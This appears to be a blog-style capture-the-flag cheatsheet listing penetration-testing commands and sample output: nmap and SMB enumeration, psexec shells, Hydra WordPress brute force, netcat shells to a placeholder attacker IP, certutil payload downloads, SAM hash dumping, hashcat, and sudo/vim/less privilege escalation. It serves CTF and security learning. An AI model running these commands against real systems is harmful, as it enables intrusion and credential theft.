Capture The Flag Cheatsheet

12 minute read

(http://hits.dwyl.com/uppusaikiran/awesome-ctf-cheatsheet)

(https://github.com/uppusaikiran/awesome-ctf-cheatsheet/)

System Hacking

Nmap Scanning

To scan for systems and Open Services/Ports, Use Nmap.

```
> $ namp -sV <HOST_IP>
```

To scan for Vulnerabilities on system.

```
> $ nmap --script vuln <HOST_IP>
```

To scan for all ports, SYN Scan and OS detection.

```
> $ nmap -sS -T4 -A -p- <HOST_IP>
```

To scan using inbuilt nmap scripts.

```
> $ nmap --script ssl-enum-ciphers -p 443  <HOST_IP>
```

Netdiscover Scanning

To passively discover machines on the network, Use Netdiscover.

```
> $ netdiscover -i <INTERFACE>
  Currently scanning: 192.168.17.0/16   |   Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 8 hosts.   Total size: 480
_____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
  -----------------------------------------------------------------------------
  192.168.1.1     11:22:33:44:55:66      1      60  NETGEAR
  192.168.1.2     21:22:33:44:55:66      1      60  Apple, Inc.
  192.168.1.8     41:22:33:44:55:66      1      60  Intel Corporate
```

Nikto Scanning

To scan for vulnerabilities use Nikto.

```
> $ nikto -h <HOST_IP>
```

WebServer is Open

If Port 80 or 443 is open, we can look for robots.txt to check for hidden flags or clues.

To find the Webserver version, Use Curl tool.

```
> $ curl --header <SERVER_IP>
```

SMB is Open

If SMB has misconfigured anonymous login, Use smbclient to list shares.

```
> $ smbclient -L \\\\<HOST_IP>
```

If SMB Ports are open, we can look for anonymous login to mount misconfigured shares.

```
> $ mkdir /mnt/smb
> $ mount -t cifs //<REMOTE_SMB_IP>/<SHARE> /mnt/smb/
Password for root@//<HOST_IP>/<SHARE>:
```

If we found Administrator Credentials for SMB, Access the root shell using this method.

```
> $ /opt/impacket/examples# smbmap -u administrator -p password -H <HOST_IP>
[+] Finding open SMB ports....
[+] User SMB session establishd on <HOST_IP>...
[+] IP: <HOST_IP>:445   Name: <HOST_IP>
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  READ, WRITE
        Backups                                                 READ, WRITE
        C$                                                      READ, WRITE
        IPC$                                                    READ ONLY

> $ /opt/impacket/examples# python psexec.py administrator@<HOST_IP>
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

  Password:
  [*] Requesting shares on <HOST_IP>.....
  [*] Found writable share ADMIN$
  [*] Uploading file tJJmcVQN.exe
  [*] Opening SVCManager on <HOST_IP>.....
  [*] Creating service RKAe on <HOST_IP>....
  [*] Starting service RKAe.....
  [!] Press help for extra shell commands
  Microsoft Windows [Version 10.0.14393]
  (c) 2016 Microsoft Corporation. All rights reserved.

  C:\Windows\system32>
```

To Extract and Mount VHD Drive Files

```
> $ 7z l <FILENAME>.vhd
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R)
Core(TM) i5-5200U CPU @ 2.20GHz (306D4),ASM,AES-NI)
Scanning the drive for archives:
1 file, 5418299392 bytes (5168 MiB)
Listing archive: <FILENAME>.vhd

> $ guestmount --add <VHD_NAME>.vhd --inspector -ro -v /mnt/vhd
```

To search for Exploits on Metasploit by Name

```
> $ searchsploit apache 1.2.4
```

Wordpress Open

If `/wp-login.php` is found in the Enumeration scanning, it can be Wordpress site.

To crack the login credentials for Wordpress, Use Hydra. We can use Burpsuite to capture the request parameters

```
> $ hydra -V -l wordlist.dic -p 123 <HOST_IP> http-post-form '/wp-
login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid Username
```

To scan Wordpress site for Vulnerabilities.

```
> $ gem install wpscan
> $ wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic
```

To get a reverse shell using Admin Upload.

```
> $ msfconsole
> $ use exploit/unix/webapp/wp_admin_shell_upload
```

RPC Open

If RPC is open, we can login using rpclient.

```
> $ rpcclient -U "" <HOST_IP>
```

Powershell

To bypass execution policy

```
> $ powershell.exe -exec bypass
```

Web Hacking

Five Stages of Web Hacking

```
* Reconnaissance
* Scanning and Enumeration
* Gaining Access
* Maintaining Access
* Covering Tracks
```

Enumeration and Reconnaissance Tools

- Whois, Nslookup, Dnsrecon, Google Fu, Dig - To passively enumerate website.
- Sublist3r (https://github.com/aboul3la/Sublist3r) - Subdomains enumeration tool.
- crt.sh (http://crt.sh) - Certificate enumeration tool.
- Hunter.io (https://hunter.io/) - Email enumeration tool.
- Nmap, Wappalyzer, Whatweb, Builtwith, Netcat - Fingerprinting tools.
- HaveIbeenPwned - Useful for breach enumeraton.
- Use SecurityHeaders (https://securityheaders.com/) to find some misconfigured header information on target website.
- Use Zap Proxy tool to extract hidden files/directories.
- Clear Text Passwords Link (https://github.com/philipperemy/tensorflow-1.4-billion-password-analysis)

To gather information from online sources.

```
> $ theharvester -d microsoft.com (http://microsoft.com) -l 200 -g -b google
```

Scanning

Ping Sweep a network.

```
> $ nmap -sn <NETWORK>
```

SYN Scan with Speed of 4 and port of common 1000 TCP.

```
> $ nmap -T4 <NETWORK>
```

All Port scan with All Scanning including OS, Version, Script and Traceroute.

```
> $ nmap -T4 -A -p- <NETWORK>
```

To scan for UDP Ports (Dont scan all scans, as it takes lot of time).

```
> $ nmap -sU -T4 <NETWORK>
```

Payloads

Non Staged Payload Example.

```
windows/meterpreter_reverse_tcp
```

Staged Payload Example.

```
windows/meterpreter/reverse_tcp
```

Shells

To use bind shell, we have to follow two steps: 1, Create a Bind Shell 2,Listen for connection.

```
> $ nc <ATTACKER_IP> <ATTACKET_PORT>`
```

```
> $ nc -lvp <ATTACKER_PORT>
```

BufferOverflow

To generate shellcode quickly, we can use python `pwn` library.

```
> $ python -c "import pwn;print(pwn.asm(pwn.shellcraft.linux.sh))
```

```
> $ (python -c "import pwn;print(pwn.asm(pwn.shellcraft.linux.sh()))" ;cat) | ./vuln
```

Gobuster with Cookie (Useful to directory traversal when cookie is needed)

```
> $ gobuster dir -u http://<IP_ADDRESS> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -c PHPSESSID=<COOKIE_VALUE>
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://<IP_ADDRESS>
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] Cookies:        <COOKIE_VALUE>
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/04/19 01:43:01 Starting gobuster
===============================================================
/home.php (Status: 302)
/index.php (Status: 200)
```

SQLMAP

Redirect the HTTP Request to Burpsuite and we can see the request like this.

```
POST / HTTP/1.1
Host: 10.10.10.162
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.10.10.162/ (https://10.10.10.162/)
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Connection: close
Upgrade-Insecure-Requests: 1

search=help
```

Now Right click and click on `copy to file` option.

```
> $ sqlmap -r search.req --batch --force-ssl

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.3#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org (http://sqlmap.org)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent
is illegal. It is the end user's responsibility to obey all applicable local, state and
federal laws. Developers assume no liability and are not responsible for any misuse or
damage caused by this program

[*] starting @ 01:25:16 /2020-04-19/

[01:25:16] [INFO] parsing HTTP request from 'search.req'
[01:25:17] [INFO] testing connection to the target URL
[01:25:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:25:17] [INFO] testing if the target URL content is stable
[01:25:18] [INFO] target URL content is stable
[01:25:18] [INFO] testing if POST parameter 'search' is dynamic
[01:25:18] [WARNING] POST parameter 'search' does not appear to be dynamic
[01:25:18] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not
be injectable
[01:25:19] [INFO] testing for SQL injection on POST parameter 'search'
[01:25:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:25:20] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[01:25:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)'
[01:25:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
```

File Hacking

Extract hidden text from PDF Files

If something is hidden on a pdf which we need to find, we can Press `Ctrl + A` to copy everything on the pdf and paste on notepad. If nothing is found, we can use Inkspace tool (https://inkscape.org) to paste the pdf and try to ungroup several times to extract any hidden flag. Else solve using pdf-uncompress tools like `qpdf` to convert compressed data to redeable format.

Compress File Extraction

If there is `PK` at the start of the file in the magic bytes, its most probably `ZIP` File.

To extract data from recursive zip file.

```
> $ binwalk -Me <FILE_NAME>
```

Extract hidden strings

If file is having some hidden text, we can use `hexeditor` or `strings` commands to locate the flag.

If hidden text has == at the end, it is `base64` encoded.

To monitor the appplication calls of a binary.

```
> $ strace -s -f 12345 -e trace=recv,read <PROGRAM>
```

To track all Application & library calls of a program.

```
> $ ltrace ./<PROG_NAME>
```

Cryptography

Caesar Cipher

If there is word `caesar` in the question or hint, it can be a substitution cipher.

If you find `!` in the cipher text and cipher seems to be within certain range of Letters and appears to be transposition of a plain text, Use this website Ceasar Box (https://www.dcode.fr/caesar-box-cipher) to Bruteforce the hidden message.

Vigenere Cipher

To break Vigenere ciphers without knowing the key.

- Use this website Link (https://www.guballa.de/vigenere-solver) - Bruteforce solver.

One Time Pad Cipher

To solve One Time Pad, Use OTP (http://rumkin.com/tools/cipher/otp.php).

Forensics

Image File

Try `file` comamnd on the image to learn more information.

To extract data inside Image files.

```
> $ zsteg <FILE_NAME>
```

To check for metadata of the Image files.

```
> $ exiftool <FILE_NAME>
```

To search for particular string or flag in an Image file.

```
> $ strings <FILE_NAME> | grep flag{
```

To extract data hidden inside an image file protected with password.

```
> $ steghide extract -sf <FILE_NAME>
```

Binwalk

Binwalk helps to find data inside the image or sometimes if binwalk reports as zip Archive, we can rename the file to .zip to find interesting data.

```
> $ binwalk <IMAGE_NAME>
```

Extract NTFS Filesystem

```
If there is ntfs file, extract with 7Zip on Windowds.
If there is a file with alternative data strems, we can use the command `dir /R
<FILE_NAME>`.
Then we can this command to extract data inside it `cat <HIDDEN_STREAM> > asdf.
<FILE_TYPE>`
```

To extract ntfs file system on Linux.

```
> $ sudo mount -o loop <FILENAME.ntfs> mnt
```

Recover Files from Deleted File Systems

To Recover Files from Deleted File Systems from Remote Hosts.

```
> $ ssh username@remote_address "sudo dcfldd -if=/dev/sdb | gzip -1 ." | dcfldd
of=extract.dd.gz
> $ gunzip -d extract.dd.gz
> $ binwalk -Me extract.dd
```

Packet Capture

If usb keys are mapped with pcap, we can use this Article to extract usb keys entered: Link (https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)

```
> $ tskark.exe -r <FILE_NAME.pcapng> -Y "usb.transfer_types==1" -e "frame.time.epoch" -e
"usb.capdata" -Tfields
```

JavaScript Deobfuscator

To Deobfuscate JavaScript, use Jsnice (http://www.jsnice.org/).

Password Cracking

JOHN the ripper

If there is `JOHN` in the title or text or hint, its mostly reference to `JOHN the ripper` for bruteforce passwords/hashes.

```
> $ john <HASHES_FILE> --wordlist=/usr/share/wordlists/rockyou.txt
```

To crack well known hashes, use Link (https://hashes.org)

SAM Hashes

To get System User Hashes, we can follow this method.

```
> $ /mnt/vhd/Windows/System32/config# cp SAM SYSTEM ~/CTF/
> $ /mnt/vhd/Windows/System32/config# cd ~/CTF/
> ~/CTF# ls
  SAM  SYSTEM
> ~/CTF# mkdir Backup_dump
> ~/CTF# mv SAM SYSTEM Backup_dump/
> ~/CTF# cd Backup_dump/
> ~/CTF/Backup_dump# ls
  SAM  SYSTEM
> ~/CTF/Backup_dump# impacket-secretsdump -sam SAM -system SYSTEM local
  Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

  [*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
  [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
  Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  User:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
  [*] Cleaning up...
```

Linux User Hashes

If we able to extract /etc/passwd and /etc/shadow file we can use `unshadow`

```
> $ unshadow <PASSWD> <SHADOW>
```

Hashcat

To crack the password, we can use `hashcat` here 500 is for format `$1$` Replace it accordingly.

```
> $ hashcat -m 500 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt --
force
```

Privilige Escalation

Standard Scripts for Enumeration

- Linux Priv Checker (https://github.com/sleventyeleven/linuxprivchecker) - Linux Privilige Enumeration Checker.
- Lin Enum Script (https://github.com/rebootuser/LinEnum)
- Unix Priv Check (https://github.com/pentestmonkey/unix-privesc-check)
- Pspy (https://github.com/DominicBreuker/pspy) - Gather information on cron, proceses.
- Gtfobins (https://gtfobins.github.io/) - If we dont exactly remember how to use a given setuid command to get Privliges.

Dirtycow

On older linux kernals, we can gain root access using dirtycow exploit.

To Use DirtyCow : Link (https://dirtycow.ninja/) - Maybe more specifically : Dirty.c (https://github.com/FireFart/dirtycow/blob/master/dirty.c)

Sudo

To check what sudo command can the current user run with no-password.

```
> $ sudo -l
```

Examples:

```
> $ sudo -l
User www-data may run the following commands on bashed:
(enemy : enemy) NOPASSWD: ALL
```

We can try like below

```
> $ sudo -u enemy /bin/bash
id
uid=1001(enemy) gid=1001(enemy) groups=1001(enemy)
```

Gain More Privilige on windows system

- In meterpreter shell try `getsystem`
- In meterpreter shell try `background` and then follow rest of commands.
- search suggester

```
> use post/multi/recon/local_exploit_suggestor
show options
set session 1
run
```

- If worked fine, else Try follow rest of commands.
- Use this link: FuzzySec Win Priv Exec (https://www.fuzzysecurity.com/tutorials/16.html)
- Use this method: Sherlock (https://github.com/rasta-mouse/Sherlock)
- If current process doesnt own Privs, use `migrate <PID>` to get more Priviliges in Meterpretor.

To get Shell on Windows use Unicorn (https://github.com/trustedsec/unicorn.git)

```
> $ /opt/unicorn/unicorn.py windows/meterpreter/reverse_tcp <HOST_IP> 3333
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create
the shellcode...
> $ msfconsole -r unicorn.rc
[*] Started reverse TCP handler on <HOST_IP>:3333
msf5 exploit(multi/handler) >
```

MYSQL with Sudo Privilage

To get Shell from MYSQL

```
mysql> \! /bin/sh
```

VIM Editor with Sudo Privilage

To get Shell from VIM.

Method-1:

```
> $ sudo /usr/bin/vi /var/www/html/../../../root/root.txt
```

Method-2:

```
> $ sudo /usr/bin/vi /var/www/html/anyrandomFile
Type Escape and enter :!/bin/bash
```

Cronjob

If some system cron is getting some url present in the file, we can replace url to get flag as below.

```
> $ cat input
url = "file:///root/root.txt"
```

To monitor cronjobs, we can tail the syslogs.

```
> $ tail -f /var/log/syslog
Nov 18 23:55:01 sun CRON[5327]: (root) CMD (python /home/sun/Documents/script.py >
/home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun
/home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date
-R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
Nov 19 00:00:01 sun CRON[5626]: (root) CMD (python /home/sun/Documents/script.py >
/home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun
/home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date
-R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
Nov 19 00:00:01 sun CRON[5627]: (sun) CMD (nodejs /home/sun/server.js >/dev/null 2>&1)
Nov 19 00:05:01 sun CRON[5701]: (root) CMD (python /home/sun/Documents/script.py >
/home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun
/home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date
-R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
```

More or Less Command

- If any file we found in low priv user and it contains something like this, we can execute it and minimize the size of terminal to enter the visual mode and enter `!/bin/bash` to get root shell.

```
> $ cat new.sh
#!/bin/bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```

```
> $ sh new.sh
-- Logs begin at Sun 2019-11-17 19:19:25 EST, end at Mon 2019-11-18 17:13:44 EST. --
Nov 18 17:02:26 kali sudo[11538]: pam_unix(sudo:auth): authentication failure; logname=
uid=33 eu
Nov 18 17:02:29 kali sudo[11538]: pam_unix(sudo:auth): conversation failed
Nov 18 17:02:29 kali sudo[11538]: pam_unix(sudo:auth): auth could not identify password
for [www-
Nov 18 17:02:29 kali sudo[11538]: www-data : command not allowed ; TTY=unknown ; PWD=/tmp
; USER=
Nov 18 17:02:29 kali crontab[11595]: (www-data) LIST (www-data)
!/bin/bash
root #
```

Improve Shell

To get the better Shell after taking control of the system.

```
www-data@machine:/var/www/html$ python3 -c "import pty;pty.spawn('/bin/bash')"
<html$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@machine:/var/www/html$ ^Z
[1]+  Stopped                 nc -nlvp 443
root@kali:# stty raw -echo
----------------------Here we need to type `fg` and press Enter `Twice`
root@kali:# nc -nlvp 443
www-data@machine:/var/www/html$ export TERM=xterm
```

Transfer Files from Host to Target Machine

- Use `python -m SimpleHTTPServer` in the host folder.
- Use Apache and put files in `/var/www/html/` folder.
- If Tomcat is Opened, upload the file/payload using the Admin panel.
- If wordpress is running, upload the file as plugin.
- In Windows Victim, use `certutil -urlcache -f http://<HOST_IP>/<FILE_NAME> <OUTPUT_FILE_NAME>`

Tools

Reconnoitre

Security tool for multithreaded information gathering and service enumeration whilst building directory structures to store results, along with writing out recommendations for further testing.

- Link (https://github.com/codingo/Reconnoitre)

```
> $ reconnoitre –t 10.10.10.37 –o `pwd` ––services`
```

- Total Commander - multi purpose terminal for Hacking. Link : www.ghisler.com (http://www.ghisler.com)
- CTF Exploitation Framework : GitHub.com/Gallopsled/pwntools (http://GitHub.com/Gallopsled/pwntools) `pip install pwntools`
- When using GDB, we can create "~/.gdbinit" file and add this line "set disassembly-flavor intel" to make intel synatx.
- Dirbuster for enumeration web server Attacks.
- Gobuster (https://github.com/OJ/gobuster) - Used for advanced enumeration.
- Nmap Automator (https://github.com/21y4d/nmapAutomator)
- 7z Password Cracking: Use tool `7z2john`
- SSH Password Cracking: `/usr/share/john/ssh2john.py id_rsa > output.hash`
- Quipqiup - Substitution Cipher Solver (https://quipqiup.com/)
- GDB Peda (https://github.com/longld/peda)
- Search Code - Based on Funcion name and code-snippet (https://searchcode.com/)

Tags: capture-the-flag cryptography ctf ctf-cheatsheet hacking image-forensics Pentesting system-hacking web-security

Categories: Hacking

Updated: September 02, 2020

LEAVE A COMMENT